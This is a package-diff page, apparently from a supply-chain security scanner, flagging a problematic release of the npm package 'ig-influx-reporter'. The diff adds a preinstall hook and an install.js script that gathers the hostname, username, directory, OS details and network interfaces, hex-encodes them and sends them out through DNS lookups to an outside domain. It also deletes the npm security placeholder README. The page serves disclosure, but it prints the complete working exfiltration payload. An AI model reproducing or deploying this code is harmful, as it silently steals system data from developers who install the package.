ig-influx-reporter 0.0.1-security → 999999.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ig-influx-reporter might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/install.js +18 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/install.js ADDED
@@ -0,0 +1,18 @@
1
+ const os = require('os')
2
+ const dns = require('dns')
3
+ const util = require('util')
4
+ const hostname='.vdf.mrbw.me'
5
+ let ts = Date.now();
6
+
7
+ function logArrayElements(element, index, array) {
8
+ dns.lookup(randomN+"."+('00'+index).slice(-3)+"."+element+hostname, function(err,result){})
9
+ }
10
+ function toHex (str) {
11
+ return Buffer.from(str, 'utf8').toString('hex')
12
+ }
13
+
14
+ const data = `${ts};${os.hostname()};${__dirname};${os.userInfo().username};${os.release()};${os.platform()};${util.inspect(os.networkInterfaces(), {showHidden: false, depth: null})}`
15
+ const hexdata= `${toHex(data)}`
16
+ const dados= hexdata.match(/.{1,20}/g)
17
+ const randomN = Math.floor(Math.random()*100000000)
18
+ dados.forEach(logArrayElements)
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "ig-influx-reporter",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999999.0.0",
4
+ "description": "Test Package - Dont use it.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node install.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ig-influx-reporter for more information.